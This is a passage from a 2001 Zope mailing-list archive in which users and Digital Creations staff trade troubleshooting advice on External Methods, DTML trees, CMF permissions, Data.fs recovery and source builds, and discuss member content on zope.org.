From mark@kaivo.com Tue May 1 01:11:55 2001 From: mark@kaivo.com (Mark N. Gibson) Date: Mon, 30 Apr 2001 18:11:55 -0600 Subject: [Zope] Copy & Paste CatalogAware Zclass Message-ID: <3AEDFF4B.E750508D@kaivo.com> I have a folderish object containing other CatalogAware Zclasses. When I try to copy and paste, I get the following error: (Using Zope 2.3.1) Error Type: KeyError Error Value: SERVER_URL Any ideas? ------------ Mark Gibson Kaivo, Inc. mark@kaivo.com From tino@wildenhain.de Tue May 1 01:22:45 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Tue, 01 May 2001 02:22:45 +0200 Subject: [Zope] dtml-tree info In-Reply-To: <3AEDB0F8.D05E5BD8@apsis.ch> Message-ID: <841287880.988683765@BUZZER> Hi Robert, I do this and I dont use the tree-tag at all anymore. The trick is to organisate your site hierarchically. I do only folder-like objects with one content-object (or property or whatever). So the site is simply a tree of folderobjects (not folder itself but a subclass (or more then one subclass of it)) Then a simple method can render the navigation: (lets call it navigation) This is the very simple approach, you can make more design if you want. The trick is "sequence_item in PARENTS" which is true if the actual object is in your URL path. This way the tree shows your current navigation without bothering to save the treestate or bother the user with ugly cookies and/or URLs. I have to mention you must call this "navigation" method inside a index_html method or something you let acquisite. Call is there like that: To start the tree at the root. Oh, you have to use "_['sequence-item'] ... " and stuff if you dont use my dtml-in replacement. HTH Tino Wildenhain --On Montag, 30. April 2001 20:37 +0200 Robert Segall wrote: > Hope someone has already run into this: I need to be able to control > the tree display state from dtml and I can't find any info on the > subject. > > The "normal" tree display has the "+" (or "-") part, with its own > URL that includes an encoded argument, and the user-defined part. At > the very least I would like to be able to mimic the behaviour of the > "+" by clicking on the "user" part (which I make into a link by > myself). To make matters worse, this link may take me to another > object (page). > > Ideally, I would like to be able to control the display behaviour - > saying which branch(es) are to be shown open and which closed, and > to which level, within the page itself. > > Any pointers would be greatly appreciated. Tnx, > > Robert > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From tino@wildenhain.de Tue May 1 01:25:45 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Tue, 01 May 2001 02:25:45 +0200 Subject: [Zope] problem with External Methods In-Reply-To: Message-ID: <841466990.988683945@BUZZER> Hi marc, it would be more helpful if you provide your external methods code also :) Regards Tino --On Montag, 30. April 2001 16:39 -0400 marc lindahl wrote: > on 2.3.2 I just tried to add an External Method and got this error -- > anyone have an idea? Seems like some stuff in ExternalMethod.py isn't > getting initialized (for example, if I initialize func_defaults in the > .py I'm trying to externalize, it gives another error, about func_code). > Is there requirements of the .py, something that needs to be imported or > whatever, for this product to work? > > Error listing: > > > Zope Error > > Zope has encountered an error while publishing this > resource. > > Error Type: AttributeError > Error Value: func_defaults > > > > Troubleshooting Suggestions > > The URL may be incorrect. > The parameters passed to this resource may be > incorrect. > A resource that this resource relies on may be > encountering an error. > > For more detailed information about the error, please refer > to the HTML source for this page. > > If the error persists please contact the site maintainer. > Thank you for your patience. > > > > > Traceback (innermost last): > File /usr/local/zope/Zope-2.3.1/lib/python/ZPublisher/Publish.py, line > 223, in publish_module > File /usr/local/zope/Zope-2.3.1/lib/python/ZPublisher/Publish.py, line > 187, in publish > File /usr/local/zope/Zope-2.3.1/lib/python/Zope/__init__.py, line 221, > in zpublisher_exception_hook > File /usr/local/zope/Zope-2.3.1/lib/python/ZPublisher/Publish.py, line > 171, in publish > File /usr/local/zope/Zope-2.3.1/lib/python/ZPublisher/mapply.py, line > 160, in mapply > (Object: manage_addExternalMethod) > File /usr/local/zope/Zope-2.3.1/lib/python/ZPublisher/Publish.py, line > 112, in call_object > (Object: manage_addExternalMethod) > File > /usr/local/zope/Zope-2.3.1/lib/python/Products/ExternalMethod/ExternalMet > hod .py, line 131, in manage_addExternalMethod > File > /usr/local/zope/Zope-2.3.1/lib/python/Products/ExternalMethod/ExternalMet > hod .py, line 179, in __init__ > (Object: mp3info) > File > /usr/local/zope/Zope-2.3.1/lib/python/Products/ExternalMethod/ExternalMet > hod .py, line 202, in manage_edit > (Object: mp3info) > File > /usr/local/zope/Zope-2.3.1/lib/python/Products/ExternalMethod/ExternalMet > hod .py, line 217, in getFunction > (Object: mp3info) > AttributeError: (see above) > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From tino@wildenhain.de Tue May 1 01:30:13 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Tue, 01 May 2001 02:30:13 +0200 Subject: [Zope] writing dtml on zope.org In-Reply-To: <132030000.988667916@mindlace.digicool.com> Message-ID: <841735790.988684213@BUZZER> Hi ethan, could you at least include something like my vary-tag so we can provide multi-language documents easyly? If so I can live without dtml on zope.org :-) Regards Tino Wildenhain --On Montag, 30. April 2001 17:58 -0400 ethan mindlace fremen wrote: > --On Monday, April 30, 2001 21:56:47 +0200 Max M > wrote: >>> From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of ethan >>> mindlace fremen >> >>> I'm trying to get a feel for how important it is for you to be able to >>> write DTML on zope.org. >> >> Well I kind of like that my products, how-to's etc. are on Zope.org in my >> member area, and that I can write my own pages presenting them. It would >> be a bad idea to remove the possibility to write those pages in dtml. > > The issue is that right now anybody is a yahoo account away from being > able to write arbitrary DTML on zope.org, and that this has brought > zope.org to it's knees in the past. > > What if there was a standard page for presenting your contributions, that > your contributions could have html in them, and if you were interested in > providing different ways to view member folders, you could get permission > and create a skin that then anyone could select? > > Esp. if that skin could cover more than just member folders, but the > entire site? > > -- > ethan mindlace fremen > zopatista community liason > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From amos@digicool.com Tue May 1 01:43:56 2001 From: amos@digicool.com (Amos Latteier) Date: Mon, 30 Apr 2001 17:43:56 -0700 Subject: [Zope] [ANNOUNCE] Zope Book Final Message-ID: <3AEE06CC.53EE4ED8@digicool.com> I'm happy to announce that the Zope Book is finished. http://www.zope.org/Members/michel/ZB You can read it online, or download it in HTML and PDF format. The book has been sent off to the publisher and you should be able to pick it up in stores within a month or two. I want to give a big thank you to everyone who has helped a long the way. Thanks! -Amos P.S. The book will continue to evolve as Zope grows and changes. This version of the book covers Zope 2.3. We will continue to improve the book and add new chapters to cover topics such as XML and Page Templates. If you want to be a part of this process take a look at the project page. http://www.zope.org/DocProjects/Book -- Amos Latteier mailto:amos@digicool.com Digital Creations http://www.digicool.com From marc@bowery.com Tue May 1 02:24:26 2001 From: marc@bowery.com (marc lindahl) Date: Mon, 30 Apr 2001 21:24:26 -0400 Subject: [Zope] problem with External Methods In-Reply-To: <841466990.988683945@BUZZER> Message-ID: OK, I put it here, for now (it's not done, yet): http://www.zope.org/Members/bowerymarc/junk/mp3info.py http://www.zope.org/Members/bowerymarc/junk/READMEmp3info.txt > From: Tino Wildenhain > Date: Tue, 01 May 2001 02:25:45 +0200 > To: marc lindahl , zope@zope.org > Subject: Re: [Zope] problem with External Methods > > Hi marc, > > it would be more helpful if you provide your > external methods code also :) > > Regards > Tino > > --On Montag, 30. April 2001 16:39 -0400 marc lindahl > wrote: > >> on 2.3.2 I just tried to add an External Method and got this error -- >> anyone have an idea? Seems like some stuff in ExternalMethod.py isn't >> getting initialized (for example, if I initialize func_defaults in the >> .py I'm trying to externalize, it gives another error, about func_code). >> Is there requirements of the .py, something that needs to be imported or >> whatever, for this product to work? >> >> Error listing: >> >> >> Zope Error >> >> Zope has encountered an error while publishing this >> resource. >> >> Error Type: AttributeError >> Error Value: func_defaults >> >> >> >> Troubleshooting Suggestions >> >> The URL may be incorrect. >> The parameters passed to this resource may be >> incorrect. >> A resource that this resource relies on may be >> encountering an error. >> >> For more detailed information about the error, please refer >> to the HTML source for this page. >> >> If the error persists please contact the site maintainer. >> Thank you for your patience. >> >> >> >> >> Traceback (innermost last): >> File /usr/local/zope/Zope-2.3.1/lib/python/ZPublisher/Publish.py, line >> 223, in publish_module >> File /usr/local/zope/Zope-2.3.1/lib/python/ZPublisher/Publish.py, line >> 187, in publish >> File /usr/local/zope/Zope-2.3.1/lib/python/Zope/__init__.py, line 221, >> in zpublisher_exception_hook >> File /usr/local/zope/Zope-2.3.1/lib/python/ZPublisher/Publish.py, line >> 171, in publish >> File /usr/local/zope/Zope-2.3.1/lib/python/ZPublisher/mapply.py, line >> 160, in mapply >> (Object: manage_addExternalMethod) >> File /usr/local/zope/Zope-2.3.1/lib/python/ZPublisher/Publish.py, line >> 112, in call_object >> (Object: manage_addExternalMethod) >> File >> /usr/local/zope/Zope-2.3.1/lib/python/Products/ExternalMethod/ExternalMet >> hod .py, line 131, in manage_addExternalMethod >> File >> /usr/local/zope/Zope-2.3.1/lib/python/Products/ExternalMethod/ExternalMet >> hod .py, line 179, in __init__ >> (Object: mp3info) >> File >> /usr/local/zope/Zope-2.3.1/lib/python/Products/ExternalMethod/ExternalMet >> hod .py, line 202, in manage_edit >> (Object: mp3info) >> File >> /usr/local/zope/Zope-2.3.1/lib/python/Products/ExternalMethod/ExternalMet >> hod .py, line 217, in getFunction >> (Object: mp3info) >> AttributeError: (see above) >> >> >> >> >> _______________________________________________ >> Zope maillist - Zope@zope.org >> http://lists.zope.org/mailman/listinfo/zope >> ** No cross posts or HTML encoding! ** >> (Related lists - >> http://lists.zope.org/mailman/listinfo/zope-announce >> http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > From charlie@blanchardsite.com Tue May 1 02:35:30 2001 From: charlie@blanchardsite.com (Charlie Blanchard) Date: Mon, 30 Apr 2001 18:35:30 -0700 Subject: [Zope] writing dtml on zope.org In-Reply-To: <132030000.988667916@mindlace.digicool.com>; from mindlace@digicool.com on Mon, Apr 30, 2001 at 05:58:36PM -0400 References: <132030000.988667916@mindlace.digicool.com> Message-ID: <20010430183530.U15059@blanchardsite.com> On Mon, Apr 30, 2001 at 05:58:36PM -0400, ethan mindlace fremen wrote: [...] > > What if there was a standard page for presenting your contributions, that > your contributions could have html in them, and if you were interested in > providing different ways to view member folders, you could get permission > and create a skin that then anyone could select? > > Esp. if that skin could cover more than just member folders, but the entire > site? > ooohhh, i like the skins idea. right now to read the zope site i have to turn off css in my netscrape (4.7) browser since the text ends up rendered too small for my poor old eyes... actually tho, i've recently begun using the text browser "Links" which renders tables/frames beautifully and has configurable associations so i can view images when necessary. now if only i could log in to the manage screens with it... i bring this up only as a reminder that some of us still prefer old fashioned _text_ browsing. it would be a shame if in the quest for better gui, text browsing were to be overlooked. -- charlie blanchard http://baldguru.com/ LosAngeles area Zope Users Group http://lazug.org From tseaver@digicool.com Tue May 1 02:15:22 2001 From: tseaver@digicool.com (Tres Seaver) Date: Mon, 30 Apr 2001 21:15:22 -0400 Subject: [Zope] Permissions errors Message-ID: <3AEE0E2A.F43682DA@novacoxmail.com> Gitte Wange wrote: > I have been fooling around with the permissions om my CMF Site > so my Members are no longer able to add new things to there own > folder. The permission error is: You are not allowed to access > Identifier. What permission settings is this Identifier using > and where should it be checked ? Gitte, You need to ask CMF-specific questions on the CMF mailing list (zope-cmf@zope.org, CC'ed); most folks who hang out here have no idea what you are talking about. 'Identifier' is one of the Dublin Core methods, and is protected by the 'View' permission. It is called by the various metadata editing forms, in order to display it (it is read only, and is in fact the 'absolute_url()' of the content object. You will need to supply more details (the full traceback would help), if you can't figure it out from here. Tres. -- =============================================================== Tres Seaver tseaver@digicool.com Digital Creations "Zope Dealers" http://www.zope.org From chrism@digicool.com Tue May 1 02:46:56 2001 From: chrism@digicool.com (Chris McDonough) Date: Mon, 30 Apr 2001 21:46:56 -0400 Subject: [Zope] problem with External Methods References: Message-ID: <00d801c0d1e0$9bb39150$6801a8c0@kurtz> You can't use a class object as a function... in this case, you're defining the function name in the external method as "mp3info", which is a class, which is why you're getting this error. I don't see any functions at all in the file you posted. An external method wraps a Python function. Passing instances of classes defined in an external method is tricky as well, even if you are using a function. It seems like you really want to be building a Product. See the Zope Developer's Guide at http://www.zope.org/Documentation/ZDG for information on how to do this. - C ----- Original Message ----- From: "marc lindahl" To: "Tino Wildenhain" ; Sent: Monday, April 30, 2001 9:24 PM Subject: Re: [Zope] problem with External Methods > OK, I put it here, for now (it's not done, yet): > > http://www.zope.org/Members/bowerymarc/junk/mp3info.py > http://www.zope.org/Members/bowerymarc/junk/READMEmp3info.txt > > > > From: Tino Wildenhain > > Date: Tue, 01 May 2001 02:25:45 +0200 > > To: marc lindahl , zope@zope.org > > Subject: Re: [Zope] problem with External Methods > > > > Hi marc, > > > > it would be more helpful if you provide your > > external methods code also :) > > > > Regards > > Tino > > > > --On Montag, 30. April 2001 16:39 -0400 marc lindahl > > wrote: > > > >> on 2.3.2 I just tried to add an External Method and got this error -- > >> anyone have an idea? Seems like some stuff in ExternalMethod.py isn't > >> getting initialized (for example, if I initialize func_defaults in the > >> .py I'm trying to externalize, it gives another error, about func_code). > >> Is there requirements of the .py, something that needs to be imported or > >> whatever, for this product to work? > >> > >> Error listing: > >> > >> > >> Zope Error > >> > >> Zope has encountered an error while publishing this > >> resource. > >> > >> Error Type: AttributeError > >> Error Value: func_defaults > >> > >> > >> > >> Troubleshooting Suggestions > >> > >> The URL may be incorrect. > >> The parameters passed to this resource may be > >> incorrect. > >> A resource that this resource relies on may be > >> encountering an error. > >> > >> For more detailed information about the error, please refer > >> to the HTML source for this page. > >> > >> If the error persists please contact the site maintainer. > >> Thank you for your patience. > >> > >> > >> > >> > >> Traceback (innermost last): > >> File /usr/local/zope/Zope-2.3.1/lib/python/ZPublisher/Publish.py, line > >> 223, in publish_module > >> File /usr/local/zope/Zope-2.3.1/lib/python/ZPublisher/Publish.py, line > >> 187, in publish > >> File /usr/local/zope/Zope-2.3.1/lib/python/Zope/__init__.py, line 221, > >> in zpublisher_exception_hook > >> File /usr/local/zope/Zope-2.3.1/lib/python/ZPublisher/Publish.py, line > >> 171, in publish > >> File /usr/local/zope/Zope-2.3.1/lib/python/ZPublisher/mapply.py, line > >> 160, in mapply > >> (Object: manage_addExternalMethod) > >> File /usr/local/zope/Zope-2.3.1/lib/python/ZPublisher/Publish.py, line > >> 112, in call_object > >> (Object: manage_addExternalMethod) > >> File > >> /usr/local/zope/Zope-2.3.1/lib/python/Products/ExternalMethod/ExternalMet > >> hod .py, line 131, in manage_addExternalMethod > >> File > >> /usr/local/zope/Zope-2.3.1/lib/python/Products/ExternalMethod/ExternalMet > >> hod .py, line 179, in __init__ > >> (Object: mp3info) > >> File > >> /usr/local/zope/Zope-2.3.1/lib/python/Products/ExternalMethod/ExternalMet > >> hod .py, line 202, in manage_edit > >> (Object: mp3info) > >> File > >> /usr/local/zope/Zope-2.3.1/lib/python/Products/ExternalMethod/ExternalMet > >> hod .py, line 217, in getFunction > >> (Object: mp3info) > >> AttributeError: (see above) > >> > >> > >> > >> > >> _______________________________________________ > >> Zope maillist - Zope@zope.org > >> http://lists.zope.org/mailman/listinfo/zope > >> ** No cross posts or HTML encoding! ** > >> (Related lists - > >> http://lists.zope.org/mailman/listinfo/zope-announce > >> http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > > > > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From tseaver@digicool.com Tue May 1 02:30:57 2001 From: tseaver@digicool.com (Tres Seaver) Date: Mon, 30 Apr 2001 21:30:57 -0400 Subject: [Zope] help! corrupted zope Message-ID: <3AEE11D1.47C70302@novacoxmail.com> Garry Hodgson wrote: > > i got mail from a colleague today that he was having trouble with a > ZWiki page. attempts to access it yielded: > > Zope Error > > Zope has encountered an error while publishing this resource. > > Debugging Notice > > Zope has encountered a problem publishing your object. > > Missing doc string at: > http://www.sage.att.com:8080/Wikis/SIS/JSwift > ... > Traceback (innermost last): > File > /home/sage/zope/src/Zope-2.3.0-src/lib/python/ZPublisher/Publish.py, > line 222, in publish_module > File > /home/sage/zope/src/Zope-2.3.0-src/lib/python/ZPublisher/Publish.py, > line 187, in publish > File /home/sage/zope/src/Zope-2.3.0-src/lib/python/Zope/__init__.py, > line 221, in zpublisher_exception_hook > (Object: Traversable) > File > /home/sage/zope/src/Zope-2.3.0-src/lib/python/ZPublisher/Publish.py, > line 162, in publish > File > /home/sage/zope/src/Zope-2.3.0-src/lib/python/ZPublisher/BaseRequest.py, > line 378, in traverse > File > /home/sage/zope/src/Zope-2.3.0-src/lib/python/ZPublisher/HTTPResponse.py, > line 558, in debugError > NotFound: (see above) Hmm, "Missing doc string" says you are trying to talk to what should be an unpublishable method. Is 'SIS/JSwift' likely to be the name of a wiki page? Have you perhaps upgraded Zope recently? Also, what version of the ZWiki product are you using? > So, it appears i've got a corrupted Zope. aside from rescuing > a Data.fs from backup, how does one go about fixing such a > problem? or is there no hope? As Chris pointed out, 'lib/python/ZODB/fsrecover.py' is the most likely way to fix this. $ cd $ZOPE_HOME/lib/python $ python ZODB/fsrecover.py $INSTANCE_HOME/var/Data.fs Of course, you make a backup of the (presumably) corrupt file, first. > Also, is this common? I confess this makes me very nervous > about relying on Zope. we've been using the ZWiki stuff pretty > heavily, and this will givethe anti-OpenSource crowd some useful > ammo. Not common; Chris noted one of the more likely causes (NFS interfering with the storage's ability to perform reliable writes). Tres. -- =============================================================== Tres Seaver tseaver@digicool.com Digital Creations "Zope Dealers" http://www.zope.org From chrism@digicool.com Tue May 1 03:11:10 2001 From: chrism@digicool.com (Chris McDonough) Date: Mon, 30 Apr 2001 22:11:10 -0400 Subject: [Zope] Zope IOError messages (FOUND TEST CASE) References: <01043015452900.04652@levinux-lab> Message-ID: <011c01c0d1e3$fdeaf8b0$6801a8c0@kurtz> Jerome, Are you seeing "script returned printed without using printed variable" messages inside your log file (STUPID_LOG_FILE?) What messages are you seeing in the logfile? It seems that the problem is related to opening and closing the logfile, which may be symptomatic of an out-of-disk-space issue. - C ----- Original Message ----- From: "Jérôme Loisel" To: "Loren Stafford" Cc: Sent: Monday, April 30, 2001 3:45 PM Subject: Re: [Zope] Zope IOError messages (FOUND TEST CASE) Hi Loren, hi all. Loren Stafford -- Lundi 30 Avril 2001 15:30: > What platform is your Zope running on? > I am running Zope 2.3.2 (binary release) on a Mandrake 7.2 system. Thinking about it, I realized that this specific error seemed to happen in relation to me trying to create PythonScript objects which contained bugs. I tried a few things and have come up with a test case. Trying to edit a PythonScript object to the following code will trigger the error. print "Allo!" if foo: return printed As you can see, the script is buggy. Still, this should not render Zope un-editable. I am not sure that this covers the full extent of the problem, but it could. > > -----Original Message----- > > From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of > > Jérôme Loisel > > Sent: Monday, April 30, 2001 11:52 > > To: zope@zope.org > > Subject: [Zope] Zope IOError messages > > > > > > > > Hello! > > > > After working on my website for a few hours, I sometimes start getting > > IOErrors from Zope in stupid_log_write. See the full message here: > > > > http://zope.levinux.org/ioerror.html > > > > This only happens when editing the site. Upon encountering this > > error once, > > all subsequent attempts at modifying the site (or even restarting > > Zope from > > the control panel) fail with the same error. Simply viewing the site, > > however, will continue working. > > > > This problem is does not crop up constantly, but it is not rare either. I > > work full-time on the website, and this IOError happens a few > > times a week. > > It seems to be happening more recently. (Maybe I should pack my > > database?) > > > > I would like to know why this happens and whether or not I can do > > something > > about it. The site is meant to be dynamic user-editable. I can manually > > restart the Zope server, but my users cannot. So this could > > easily turn into > > a big headache if the problem persists. > > > > Thank you very much in advance. Cheers, > > > > Jérôme Loisel -- Jérôme Loisel, étudiant et webmestre Lévinux: GNU/Linux pour la communauté http://www.levinux.org/ _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From marc@bowery.com Tue May 1 04:27:11 2001 From: marc@bowery.com (marc lindahl) Date: Mon, 30 Apr 2001 23:27:11 -0400 Subject: [Zope] problem with External Methods In-Reply-To: <00d801c0d1e0$9bb39150$6801a8c0@kurtz> Message-ID: Hi Chris, > You can't use a class object as a function... in this case, you're defining > the function name in the external method as "mp3info", which is a class, > which is why you're getting this error. > > I don't see any functions at all in the file you posted. An external method > wraps a Python function. Passing instances of classes defined in an > external method is tricky as well, even if you are using a function. Yeah, the file is just a class. So if I put this line in the file: m = mp3info() Then I could import m? > > It seems like you really want to be building a Product. See the Zope > Developer's Guide at http://www.zope.org/Documentation/ZDG for information > on how to do this. Yeah, that's what I'm working on... I was trying to do it with ZClasses, to make dealing with the property sheets easier, but I kinda figured out how to do that in python, so I'm just doing the whole thing in python. I'm sure I'll have lots more questions before I'm done :) From chrism@digicool.com Tue May 1 04:42:58 2001 From: chrism@digicool.com (Chris McDonough) Date: Mon, 30 Apr 2001 23:42:58 -0400 Subject: [Zope] problem with External Methods References: Message-ID: <01f701c0d1f0$d155ef00$6801a8c0@kurtz> > Yeah, the file is just a class. So if I put this line in the file: > > m = mp3info() > > Then I could import m? No (because class instances aren't functions, although they can masquerade as one.. in this case it's just not worth it). You really want to make a Product. External methods are most useful for short functions, and they get really awkward when you combine them with classes due to security assertions that need be made, pickleability of class instances, and other things that can bite you. In short, don't. ;-) > > > > > It seems like you really want to be building a Product. See the Zope > > Developer's Guide at http://www.zope.org/Documentation/ZDG for information > > on how to do this. > > Yeah, that's what I'm working on... I was trying to do it with ZClasses, to > make dealing with the property sheets easier, but I kinda figured out how to > do that in python, so I'm just doing the whole thing in python. > > I'm sure I'll have lots more questions before I'm done :) No problem... - C From mindlace@digicool.com Tue May 1 06:37:46 2001 From: mindlace@digicool.com (ethan mindlace fremen) Date: Tue, 01 May 2001 01:37:46 -0400 Subject: [Zope] writing dtml on zope.org In-Reply-To: <01043015074706.18442@linux> Message-ID: <46680000.988695466@orlog> --On Monday, April 30, 2001 15:07:47 -0700 ender wrote: > looks good like a good list, one more addition that would be nice is > allowing Files. er, right. Forgot that one. -- -mindlace- zopatista community liason From andy@agmweb.ca Tue May 1 07:01:06 2001 From: andy@agmweb.ca (Andy) Date: Mon, 30 Apr 2001 23:01:06 -0700 Subject: [Zope] writing dtml on zope.org References: <131150000.988666994@mindlace.digicool.com> <01043015074706.18442@linux> Message-ID: <000f01c0d204$1db57fb0$abcc4e18@cr582427a> > >>News Items, Software Products*, Wikis, How-To's and Tips (may be merged), > >>Folders, Links, generic HTML/Structured Text Documents. > > >>*Software Products are likely to be fairly different, but they will allow > >>the creation of Trackers and fishbowl-esque content. > > looks good like a good list, one more addition that would be nice is allowing > Files. Images? -- Andy McKay From augusto@artlover.com Tue May 1 07:00:11 2001 From: augusto@artlover.com (Ausum) Date: Tue, 01 May 2001 01:00:11 -0500 Subject: [Zope] writing dtml on zope.org References: <131150000.988666994@mindlace.digicool.com> Message-ID: <3AEE50EB.EA11A7AE@artlover.com> I think Zope.org is a big how-to on itself, and by letting its users to write dtml it helps to that purpose, although just at a didactic level. I don't think many people uses dtml-at-zope.org to bring out special features to their member pages, so in order to continue offering illustrational capabilities I'd suggest a special common "dtml drawing paper" area of the site. On the subject of letting commited users to manage some areas, I agree. One of my first thoughts on Zope.org was "why doesn't it have any page snapshots?", and stuff like that. Nevertheless, it's good to realize that the standardization is very important to the sense of unity of the whole Zope development. I'm thankful to every other site that spreads Zope, but if the assets it provides weren't adknowledged by Zope.org, I probably would'nt consider them. On the other hand, if every other site had the same look and feel of Zope.org, my concerns would be lower. That's to mention how important the perception is. To the DC's plan of delegating to comunity members in order to customize and/or improve certain areas of the site, I would add that it is at least of the same importance to consider what are going to be the standards for that future site. For example: Does it make sense to enable a PIM like WorldPilot?. What about multimedia? :) Cheers, Ausum ethan mindlace fremen wrote: > > --On Monday, April 30, 2001 14:25:40 -0600 Casey Duncan > wrote: > > All I am after is a way to present the standard stuff, howtos, tips and > > products. I suspect this is all that anyone really needs. If you want > > more, you should just have your own site as you suggest. > > > > What objects would members still be able to create? > > News Items, Software Products*, Wikis, How-To's and Tips (may be merged), > Folders, Links, generic HTML/Structured Text Documents. > > Also, more significant aspects of the site will be delegated, so community > members of good standing that show an interest will probably have greater > levels of permission than they do today, i.e. being able to create python > scripts, etc. for the purposes of making zope.org better. > > *Software Products are likely to be fairly different, but they will allow > the creation of Trackers and fishbowl-esque content. > > -- > ethan mindlace fremen > zopatista community liason > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From mindlace@digicool.com Tue May 1 07:11:35 2001 From: mindlace@digicool.com (ethan mindlace fremen) Date: Tue, 01 May 2001 02:11:35 -0400 Subject: [Zope] writing dtml on zope.org In-Reply-To: <000f01c0d204$1db57fb0$abcc4e18@cr582427a> Message-ID: <53380000.988697495@orlog> --On Monday, April 30, 2001 23:01:06 -0700 Andy wrote: > Images? yes. Those too. if it's currently availiable as CMF content, it will be availiable at zope.org, plus some extras. ~ethan -- -mindlace- zopatista community liason From NBlue@synomics.com Tue May 1 09:00:40 2001 From: NBlue@synomics.com (Blue, Neil) Date: Tue, 1 May 2001 09:00:40 +0100 Subject: [Zope] Zope 2.3.1 install from source Message-ID: <55E9531220EDD41186F50090274688BD1392B2@oranamesrvr0.synomics.com> I have had the same problems too. In the end I am running Zope 2.3.1 = with Python2.1 there are a lot of deprecation statements but it starts :) Neil -----Original Message----- From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Petr Knapek Sent: 27 April 2001 05:48 To: Tino Wildenhain Cc: zope@zope.org Subject: Re: [Zope] Zope 2.3.1 install from source >>>>> On Tue, 24 Apr 2001 18:09:50 +0200, Tino Wildenhain said: Hi Tino, I have read your document which you noted but still I can't start Zope 2.3.1 (from source) together with python 1.5.2 built also from source. Both apps (Zope and Python) are located in my home folder at FreeBSD box (I am not root). When I compile Zope with my Python everything is OK (Zope installation successfull) but it is not possible to start Zope. When start script is invoked this message appears: bash-2.04$ ./start ------ 2001-04-26T07:55:38 PANIC(300) z2 Startup exception Traceback (innermost last): File /usr/home/knapek/apps/Zope-2.3.1-src/z2.py, line 566, in ? File , line 1, in ? File = /usr/home/knapek/apps/Zope-2.3.1-src/lib/python/Zope/__init__.py, line 94, in ? File = /usr/home/knapek/apps/Zope-2.3.1-src/lib/python/ZODB/__init__.py, line 85, in ? ImportError: /usr/home/knapek/apps/Zope-2.3.1-src/lib/python/ExtensionClass.so: = Undefined symbol "PyMethod_Type" I would like to know what am I doing bad? Can anybody help me? My steps in building of Python: 1. untar py152.tgz in "MYHOME/apps/" folder = ("MYHOEM/apps/Python-1.5.2/" is created) 2. modification of Setup file in MYHOME/apps/Python-1.5.2/Modules = directory (addition of some commented modules) 3. call configure --with-thread --prefix ~/apps/python1.5.2 at top of untarred python 4. call make also at top of untarred python 5. call make install at top of untarred python After this python is installed in "MYHOME/apps/python1.5.2" directory and I can start it with alias mypython. Building of Zope 2.3.1 from sources step by step: 1. untar Zope2.3.1-src.tgz in "MYHOME/apps/" ("MYHOME/apps/Zope-2.3.1-src/" is created) 2. call mypython wo_pcgi.py from top of untarred Zope After this building of Zope is succesfull but when I try to call = ./start from top of installed Zope ("MYHOME/apps/Zope-2.3.1-src/") the above noted error message is returned. Does anybody know where the mistake = in building of both python and Zope is?=20 TW> Hi Petr, it is sufficient if you built your python with = threads. TW> May be http://www.zope.org/Members/tino/ZopeNetBSD is also TW> helpful for you. You may probably skip the part involving TW> unproven-pthreads. May be not. TW> HTH Tino Wildenhain TW> --On Dienstag, 24. April 2001 13:22 +0200 Petr Knapek TW> wrote: >> Hello Zopists, I would like to know how to correct build and >> install Zope 2.3.1 from sources on FreeBSD box. On that box >> there are few pythons and I need to build Zope with my own build >> python which is in my home directory. I am not sure if to run >> wo_pcgi.py with my python is sufficient. >>=20 >> Another question is if python for Zope must be compiled with >> dynamic loading of modules. >>=20 >> Thanks for help, if you know any documentation, please give me >> URL. >>=20 Petr --=20 Petr Kn=E1pek Network Development NEXTRA Czech Republic s.r.o. http://www.nextra.cz/ V Celnici 10 / CZ - 117 21 Praha 1 / Czech Republic Tel: +420/2/96 355 111 / Mobile: +420/604-202 611 E-Mail: petr.knapek@nextra.com Contact address: Hlinky 114 / CZ - 603 00 Brno / Czech Republic Tel: +420/5/43 554 150 see Disclaimer http://www.nextra.cz/disclaimer/ _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists -=20 http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From philippe.jadin@123piano.com Tue May 1 09:08:13 2001 From: philippe.jadin@123piano.com (Philippe Jadin) Date: Tue, 1 May 2001 10:08:13 +0200 Subject: [Zope] writing dtml on zope.org References: <103960000.988657750@mindlace.digicool.com> Message-ID: <00e901c0d216$0d81d5a0$7f88043e@r3g4p8> > It gradually aquired a collaboration side with the fishbowl. > > Now I feel that zope.org's primary purposes are collaboration and > education. The tryout feature has been largely surpassed by the free and > for fee zope hosting that is availiable. Let me add some side comment about the zope site. Imho, the way content is "sorted" on the zope.org site is not "perfect". What does a newbie when he search for information? He goes to the doc area, the howto area, 